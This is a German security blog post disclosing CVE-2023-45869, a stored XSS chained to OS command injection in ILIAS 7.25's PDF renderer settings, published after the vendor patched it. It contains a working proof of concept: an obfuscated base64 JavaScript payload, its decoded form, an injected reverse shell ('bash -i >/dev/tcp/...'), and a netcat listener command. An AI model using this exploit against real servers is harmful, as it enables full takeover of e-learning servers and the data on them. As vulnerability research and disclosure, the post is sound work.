Weitere Veröffentlichungen

In unserem Labor schreiben wir regelmäßig in Form von Blogbeiträgen über identifizierte Sicherheitslücken, welche nach dem Responsible Disclosure Verfahren veröffentlicht werden.

Veröffentlichung (CVE-2023-45869)

OS Command Injection in ILIAS eLearning platform

27.10.2023 - Rene Rehme

Im Zuge eines Penetrationstests haben wir mehrere Sicherheitslücken in ILIAS Version 7.25 (2023-09-12 Release) identifiziert. Neben Cross Site Scripting (XSS) konnte eine sogenannte OS Command Injection bewerkstelligt werden. Dies ist eine Sicherheitslücke, bei der von einem Angreifer übermittelte Befehle auf Betriebssystem-Ebene ausgeführt werden können. In diesem Fall ist es möglich Kommandozeilen-Befehle durch Kombination von gefundenen Sicherheitslücken auszuführen.

Responsible Disclosure

25. Sep. 2023 - Die Sicherheitslücke wurde identifiziert.
26. Sep. 2023 - Die Sicherheitslücke wurde an ILIAS gemeldet.
29. Sep. 2023 - ILIAS bestätigt den Erhalt des Reports.
06. Okt. 2023 - ILIAS bestätigt, dass die Sicherheitslücke geschlossen wurde.
23. Okt. 2023 - Patched ILIAS-Release: 8.6, 7.26

Allgemeine Beschreibung

Ein Benutzer mit Administratorrechten kann in ILIAS Konfigurationen für den PDF-Renderer vornehmen. Die Komponente, welche diese Einstellungen verarbeitet ist vulnerabel, wodurch Angreifer die Möglichkeit haben, Systembefehle einzuschleusen. 

 

Ein Hinweis zu einer bereits bekannten Sicherheitslücke (CVE-2022-45915) wurde bei der Schwachstellenmeldung angemerkt, da dieselbe Komponente betroffen ist. Der entscheidende Unterschied ist, dass für die Übermittlung einer Payload nicht der Pfad zur Binary wkhtmltopdf selbst, sondern Eingabefelder der Options-Parameter vulnerabel sind. Aufgrund von fehlender Eingabeüberprüfungen ist es potenziell möglich, die Befehlskette beliebig zu erweitern.

 

Besonders kritisch macht diese Sicherheitslücke, dass sie unter Umständen als normaler User ausgenutzt werden kann. Unter "normal" verstehen wir einen User Account mit den voreingestellten Rechten einer aufgesetzten ILIAS Instanz.

 

Der folgende PoC und die abschließende Klassifizierung bilden das Worst-Case-Szenario ab. Der Angriff erfolgt durch einen Account mit User-Rechten.

Proof of Concept (PoC)

Reproduktion der Sicherheitslücke

Reproduktionsschritte (Worst-Case)

Vorabhinweis:

Die folgenden Reproduktionsschritte beschreiben eine Ausnutzung der Sicherheitslücke mit dem größtmöglichen Impact. Falls die Sicherheitslücle auf einfachem Wege (als Administrator) reproduziert werden soll, können folgend aufgeführten Schritte übersprungen und den Anweisungen unter dem Punkt Reproduktionsschritte (als Admin)" gefolgt werden.
 

Schritt 1:

Zunächst muss eine ILIAS-Version7.25 2023-09-12 Instanz auf einem Testsystem installiert werden. Neben dem gegebenen Administrator, sollte ein weitere User Account angelegt werden:
 

  • root (ein Administrator)
  • testuser (ein normaler User, der Angreifer)

 

Schritt 2:

Mit dem Administrator-Account muss unter Administration(1) > Layout und Navigation(2) > Editor(3) > HTML/Javascript erlauben die Checkbox bei Modules/Portfolio: Portfolioseite(4) aktiviert werden.

test

Schritt 3:

Ein Login mit dem User Account testuser muss stattfinden.

Navigieren Sie auf Persönlicher Arbeitsraum > Portfolio und erstellen Sie ein Portfolio mit einer leeren Seite. Bearbeiten Sie die leere Seite und erstellen Sie das Inhaltselement Text einfügen.


Kopieren Sie die folgende Payload in einen Texteditor Ihrer Wahl. Ersetzen Sie die im Data-Attribut ( data-ip) gegebene IP 123.456.78.910 mit Ihrer öffentlichen IP (also die IP-Adresse, welche für eine Verbindung zum Webserver verwendet werden soll – z.B. die Ihres PCs).

payload
<img data-ip="123.456.78.910" id="sUhDeWhSwd" src="x" onerror="">

Für das onerror attribute kann folgende XSS Payload als Value hinterlegt werden:

payload
eval(atob('dmFyIHBpPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzVWhEZVdoU3dkIiksYWk9cGkuZGF0YXNldC5pcCxhcD1waS5kYXRhc2V0LnBvcnQscz0oZSx0LG8pPT5uZXcgUHJvbWlzZShhPT57dmFyIHM9bmV3IFhNTEh0dHBSZXF1ZXN0O3Mub3Blbih0LGUsITApLHMuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIikscy5yZXNwb25zZVR5cGU9InRleHQiLHMub25yZWFkeXN0YXRlY2hhbmdlPSgoKT0+ezQhPXMucmVhZHlTdGF0ZXx8MjAwIT1zLnN0YXR1cyYmMzAyIT1zLnN0YXR1c3x8YShzKX0pLHMuc2VuZChvKSxzZXRUaW1lb3V0KCgpPT57cy5hYm9ydCgpLGEoKX0sMWUzKX0pLGI9d2luZG93LmxvY2F0aW9uLnByb3RvY29sKyIvLyIrd2luZG93LmxvY2F0aW9uLmhvc3QsdD0oZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIm1tX3NlYXJjaF9mb3JtIikuZ2V0QXR0cmlidXRlKCJhY3Rpb24iKS5tYXRjaCgvcnRva2VuPShbXiZdKykvKXx8W10pWzFdO3MoYisiL2lsaWFzLnBocD9yZWZfaWQ9NjcmYWRtaW5fbW9kZT1zZXR0aW5ncyZjbWQ9cG9zdCZjbWRDbGFzcz1pbG9ianBkZmdlbmVyYXRpb25ndWkmY21kTm9kZT0xZDpveiZiYXNlQ2xhc3M9aWxBZG1pbmlzdHJhdGlvbkdVSSZmYWxsYmFja0NtZD12aWV3JnJ0b2tlbj0iK3QsIlBPU1QiLCJwYXRoPSUyRnVzciUyRmJpbiUyRndraHRtbHRvcGRmJmV4dGVybmFsX2xpbmtzPTEmamF2YXNjcmlwdF9kZWxheT0yMDArJTIyMTI3LjAuMC4xJTIyKyUyRnRtcCUyRngucGRmKyUyNiUyNitybSslMkZ0bXAlMkZ4LnBkZislMjYlMjYrJTJGYmluJTJGYmFzaCstYyslMjdiYXNoKy1pKyUzRSUyRmRldiUyRnRjcCUyRiIrYWkrIiUyRiIrYXArIiswJTNFJTI2MSUyNyslMjMmc2VydmljZT1Qb3J0Zm9saW8mcHVycG9zZT1Db250ZW50RXhwb3J0JnJlbmRlcmVyPVdraHRtbFRvUGRmJmNtZCU1QnNhdmVDb25maWclNUQ9U3BlaWNoZXJuIikudGhlbigoKT0+e2NvbnNvbGUubG9nKCJbK10gUGF5bG9hZCBhZGRlZCB0byB2dWxuZXJhYmxlIG1vZHVsZS4iKSxzKGIrIi9pbGlhcy5waHA/bmV3X3R5cGU9cHJ0ZiZjbWQ9cG9zdCZjbWRDbGFzcz1pbG9ianBvcnRmb2xpb2d1aSZjbWROb2RlPTk5OnZmOnA3JmJhc2VDbGFzcz1pbERhc2hib2FyZEdVSSZydG9rZW49MjljOTFmZjg4MDJkYTdhNWQ1MTQ2MzFkOTkwOWU2NzUiLCJQT1NUIiwidGl0bGU9eCZtb2RlPW1vZGVfc2NyYXRjaCZwdHlwZT1wYWdlJmZwYWdlPXgmY21kJTVCc2F2ZSU1RD1FcnN0ZWxsZW4iKS50aGVuKGU9Pntjb25zb2xlLmxvZygiWytdIFBvcnRmb2xpbyBjcmVhdGVkLiIpO3ZhciBvPShlLnJlc3BvbnNlVVJMLm1hdGNoKC9bPyZdcHJ0X2lkPShbXiZdKykvKXx8W10pWzFdO3MoYisiL2lsaWFzLnBocD9wcnRfaWQ9IitvKyImY21kPXBvc3QmY21kQ2xhc3M9aWxvYmpwb3J0Zm9saW9ndWkmY21kTm9kZT05OTp2ZjpwNyZiYXNlQ2xhc3M9aWxEYXNoYm9hcmRHVUkmZmFsbGJhY2tDbWQ9ZXhwb3J0UERGJnJ0b2tlbj0iK3QsIkdFVCIsIiIpLnRoZW4oKCk9Pntjb25zb2xlLmxvZygiWytdIFBERiBleHBvcnQgdHJpZ2dlcmVkLiBQYXlsb2FkIGV4ZWN1dGVkLiIpLHdpbmRvdy5sb2NhdGlvbi5ocmVmPWJ9KX0pfSk7'))

Kopieren und fügen Sie die geänderte Payload aus Ihrem Editor in das Textelement auf der Webseite ein und speichern Sie abschließend die Änderung über den Button Speichern und zurückkehren.

Schritt 5:

Führen Sie auf Ihrem PC den folgenden netcat Befehl aus, um über den Port 1234 auf den Verbindungsaufbau mit dem Webserver warten.

nc -nlvp 1234

test

Schritt 6:

Loggen Sie sich als Administrator ein und öffnen Sie entweder die zuvor erstellte Portfolioseite des Users testuser über einen Direktlink oder über die Portfoliosuche unter Persönlicher Bereich > Portfolio > Portfolios anderer Benutzer.

 

Die hinterlegte Payload aus Schritt 3 wird beim Aufruf der Portfolioseite direkt ausgeführt. Überprüfen Sie Ihr CLI:

test

Der Webserver hat eine Verbindung durch eine Reverse Shell mit dem PC aufgebaut. Als potenzieller Angreifer haben Sie mit den Rechten des User www-data Kontrolle über den Webserver, auf dem ILIAS installiert ist.

test

Wie funktioniert die XSS Payload?

Via Cross Site Scripting wird Schadcode base64 enkodiert hinterlegt, welcher von einem hoch priviligerten Nutzer durch einen entsprechenden Seitenaufruf ausgeführt werden muss.

Payload (Logik)
// Some stuff needed
var pi = document.getElementById("sUhDeWhSwd"),
    ai = pi.dataset.ip,
    ap = pi.dataset.port,
    s = (e, t, o) => new Promise(a => {
        var s = new XMLHttpRequest;
        s.open(t, e, !0), s.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), s.responseType = "text", s.onreadystatechange = (() => {
            4 != s.readyState || 200 != s.status && 302 != s.status || a(s)
        }), s.send(o), setTimeout(() => {
            s.abort(), a()
        }, 1e3)
    }),
    b = window.location.protocol + "//" + window.location.host,
    t = (document.getElementById("mm_search_form").getAttribute("action").match(/rtoken=([^&]+)/) || [])[1];
// The important logic
s(b + "/ilias.php?ref_id=67&admin_mode=settings&cmd=post&cmdClass=ilobjpdfgenerationgui&cmdNode=1d:oz&baseClass=ilAdministrationGUI&fallbackCmd=view&rtoken=" + t, "POST", "path=%2Fusr%2Fbin%2Fwkhtmltopdf&external_links=1&javascript_delay=200+%22127.0.0.1%22+%2Ftmp%2Fx.pdf+%26%26+rm+%2Ftmp%2Fx.pdf+%26%26+%2Fbin%2Fbash+-c+%27bash+-i+%3E%2Fdev%2Ftcp%2F" + ai + "%2F" + ap + "+0%3E%261%27+%23&service=Portfolio&purpose=ContentExport&renderer=WkhtmlToPdf&cmd%5BsaveConfig%5D=Speichern").then(() => {
    console.log("[+] Payload added to vulnerable module."),
    s(b + "/ilias.php?new_type=prtf&cmd=post&cmdClass=ilobjportfoliogui&cmdNode=99:vf:p7&baseClass=ilDashboardGUI&rtoken=29c91ff8802da7a5d514631d9909e675", "POST", "title=x&mode=mode_scratch&ptype=page&fpage=x&cmd%5Bsave%5D=Erstellen").then(e => {
        console.log("[+] Portfolio created.");
        var o = (e.responseURL.match(/[?&]prt_id=([^&]+)/) || [])[1];
        s(b + "/ilias.php?prt_id=" + o + "&cmd=post&cmdClass=ilobjportfoliogui&cmdNode=99:vf:p7&baseClass=ilDashboardGUI&fallbackCmd=exportPDF&rtoken=" + t, "GET", "").then(() => {
            console.log("[+] PDF export triggered. Payload executed."), window.location.href = b
        })
    })
});

Eine Aufschlüsselung des Codes

  1. Es werden Variablen deklariert und initialisiert.pi ist ein DOM-Element, das über seine ID sUhDeWhSwd mithilfe von document.getElementById() abgerufen wird. ai ist der Wert des data-ip Attributes des Elements pi. ap ist der Wert des data-port Attributes des Elements pi. [1]
  2. Eine Funktion s wird definiert, die eine AJAX-Anfrage sendet. Diese Funktion erhält drei Parameter: die URL der Anfrage, die HTTP-Methode (GET oder POST) und den Datenstring, der mit der Anfrage gesendet werden soll.
  3. Die Basis-URL (b) wird aus dem aktuellen Protokoll und Hostnamen des Fensters zusammengesetzt.
  4. Der Wert des rtoken Parameters wird aus dem action Attribut des Elements mit der ID mm_search_form extrahiert. Dieser Wert wird für spätere Anfragen verwendet.
  5. Ein AJAX-Request wird an ILIAS gesendet. Die URL und die Daten, die an ILIAS gesendet werden, enthalten die Payload, welche auf eine Schwachstelle abzielt (siehe folgender Abschnitt). [2]
  6. Ein weiterer AJAX-Request wird gesendet, um ein Portfolio zu erstellen. Wenn dies erfolgreich ist, wird die ID des erstellten Portfolios wird aus der Antwort extrahiert. [3]
  7. Ein dritter AJAX-Request wird gesendet, um einen PDF zu triggern. Wenn dies erfolgreich ist, wurde der PDF-Export ausgelöst und die OS Injection Payload ausgeführt. [4]

Wie funktioniert die OS Injection Payload?

Folgender Befehl wird bei einer Ausführung der OS Command Injection über die Funktion exec() in der Methode execQuoted() der Klasse ilUtil (/Services/Utilities/classes/class.ilUtil.php) gänzlich ausgeführt:

CLI
/usr/bin/wkhtmltopdf --zoom 1 --enable-external-links --disable-forms --orientation Portrait --page-size A4 --javascript-delay 200 "127.0.0.1" /tmp/x.pdf && rm /tmp/x.pdf && /bin/bash -c 'bash -i >/dev/tcp/X.X.X.X/1234 0>&1' # --margin-bottom 0.5cm --margin-left 0.5cm --margin-right 2cm --margin-top 2cm --quiet --cookie "PHPSESSID" "cv06phhvn81aa30gsnku0e6fl5" --cookie "ilClientId" "myilias" /var/www/ilias.local/files/myilias/temp/tmp650f626e2affe.html /var/www/ilias.local/files/myilias/temp/tmp650f626e2b056.pdf 2>&1

Um die Payload zu verstehen, hilft die Synopsis von wkhtmltopdf:
wkhtmltopdf [GLOBAL OPTION]... [OBJECT]... <output file>

 

Der CLI-Befehl beginnend mit wkhtmltopdf erscheint mit allen folgenden [GLOBAL OPTION] Parameter bis zu --javascript-delay wie erwartet normal. Die Payload aus Schritt 3 übergibt ab dieser Stelle den Wert 200 für die voranstehende Option und definiert anschließend direkt das [OBJECT] mit der localhost IP als Quelle (könnte auch eine beliebige URL oder ein existenter Pfad zu einer Datei sein). Folgend wird mit /tmp/x.pdf das <output file> bestimmt, welches durch && rm /tmp/x.pdf direkt wieder gelöscht wird (das Löschen der Datei ist nicht zwingend notwendig). Es folgt die Reverse Shell in der Befehlskette, welche mit der IP des Angreifers über den Port 1234 eine Verbindung aufbaut: && /bin/bash -c 'bash -i >/dev/tcp/X.X.X.X/1234 0>&1' . Abschließend werden alle nachfolgenden Zeichen des CLI-Befehls mit # auskommentiert.

Reproduktionsschritte (als Admin)

Schritt 1:

Installieren Sie eine ILIAS-Version7.25 2023-09-12 Instanz auf einem Testsystem. Loggen Sie sich als Administrator ein.
 

Navigieren Sie anschließend auf die Seite Administration -> PDF-Erstellung(1) und klicken Sie unter dem Tab Einstellungen auf den Button Konfiguriere Renderer(2) in der Sektion Portfolio / ContentExport.

test

Schritt 2:

Kopieren Sie folgende Payload:

payload
200 "127.0.0.1" /tmp/x.pdf && rm /tmp/x.pdf && echo "Payload executed successfully" > /tmp/poc.txt #

Um die erfolgreiche Ausführung einer Injektion simpel überprüfen zu können, wird mit dieser Payload eine Datei poc.txt im Verzeichnis /tmp auf dem Webserver abgelegt. Siehe Was genau macht die Payload? Eine detaillierte Aufschlüsslung technischer Details finden Sie unter 1. Reproduktionsschritte (Worst-Case)

Fügen Sie die kopierte Payload in das Eingabefeld Javascript Verzögerung ein.

test

Schritt 3:

Führen Sie einen PDF-Export über ein beliebiges Modul aus. Zum Beispiel über Portfolio. Erstellen Sie hierzu ein Portfolio und führen Sie einen PDF-Export aus:

test

Schritt 4:

Prüfen Sie auf dem Webserver, ob die Payload erfolgreich ausgeführt wurde:

test

Voraussetzungen für die Ausnutzung

Die Voraussetzungen für den aufgeschlüsselten Worst Case (Punkt 1) lauten wie folgt:
 

  • Ein Angreifer benötigt Zugriff auf einen Account mit mindestens den Rechten eines normalen Users.
  • Die vom Angreifer hinterlegte Payload muss durch eine User-Interaktion eines hoch priviligierten Nutzers (Administrator) über einen Seitenaufruf ausgelöst werden.
  • Die Funktionalität HTML/Javascript erlauben muss für ein beliebiges Modul, für welches ein User Schreibrechte hat, enabled sein.


Sollte die Funktionalität HTML/Javascript erlauben abgeschaltet sein, besteht die Schwachstelle OS Command Injection als solche weiterhin, kann dann aber nur mit Administrationsrechten oder (falls gegeben) durch eine andere XSS Schwachstelle eskaliert werden.

Auswirkungen

Diese Schwachstelle kann erhebliche Auswirkungen auf die Sicherheit der betroffenen ILIAS-Installation und des zugrunde liegenden Betriebssystem haben. Alle auf dem Server gespeicherten Daten, Dateien und Komponenten, die der Webserver-User mit gegebenen Rechten lesen, schreiben oder ausführen kann, sind potenziell betroffen. Ein Angreifer, der diese Schwachstelle erfolgreich ausnutzt, könnte zudem das System beschädigen oder weitere Angriffe (z.B. auf externe Dienste wie LDAP durch einsehbare Credentials) durchführen.

Bewertung

Exploitability Metrics

Attack Vector (AV): N
Es handelt sich um einen Netzwerkangriff. Die verwundbare Komponente ist "aus der Ferne ausnutzbar" und wird als ein Angriff betrachtet, der auf Protokollebene über das Internet stattfindet.


Attack Complexity (AC): L
Besondere Zugangsbedingungen oder mildernde Umstände bestehen nicht. Es MUSS jedoch für eine erfolgreiche Durchführung die Konfiguration "HTML/Javascript erlauben" gesetzt sein. Wenn eine bestimmte Konfiguration für den Erfolg eines Angriffs erforderlich ist, wird die anfällige Komponente nach CVSSv3.1 Spezifikation unter der Annahme bewertet, dass sie sich in dieser Konfiguration befindet.


Privileges Required (PR): L
Der Angreifer benötigt Privilegien, die grundlegende Benutzerfunktionen eines Users bereitstellen.


User Interaction (UI): R
Der platzierte Schadcode muss für einen erfolgreichen Angriff durch eine User-Interaktion eines Administrators ausgeführt werden.


Scope (S): C
Die anfällige Komponente ist die Webanwendung: Die Webanwendung überführt Systembefehle durch Benutzereingaben in eine exec() Funktion. Die betroffene Komponente ist der Webserver: Auf diesen erlangt der Angreifer Zugriff. Es kann sowohl auf das Dateisystem zugegriffen werden, als auch beliebig gespeicherte Daten aus anderen Komponenten (z.B. Datenbanken) extrahiert werden, welche bei normaler Nutzung der Web-Applikation nicht verfügbar sein sollten. Auch können auf dem Server befindliche Programme bzw. Binaries ausgeführt werden.


Confidentiality (C): H
Bei einem erfolgreichen Angriff kommt es zu einem totalen Verlust der Vertraulichkeit. Alle Ressourcen innerhalb der betroffenen Komponente und weiterführend Komponenten des Betriebssystems werden dem Angreifer offengelegt.


Integrity (I): H
Bei einem erfolgreichen Angriff kommt es zu einem totalen Verlust der Integrität. Der Angreifer ist in der Lage, alle geschützten Dateien der betroffenen Komponente und weiterführend Dateien aus Komponenten des Betriebssystems zu verändern.


Availability (A): H
Bei einem erfolgreichen Angriff ist der Angreifer in der Lage, den Zugang zu den Ressourcen der betroffenen Komponente und weiterführend aus Komponenten des Betriebssystems vollständig zu verweigern. Zum Beispiel durch das Löschen von Dateien.

Externe Informationen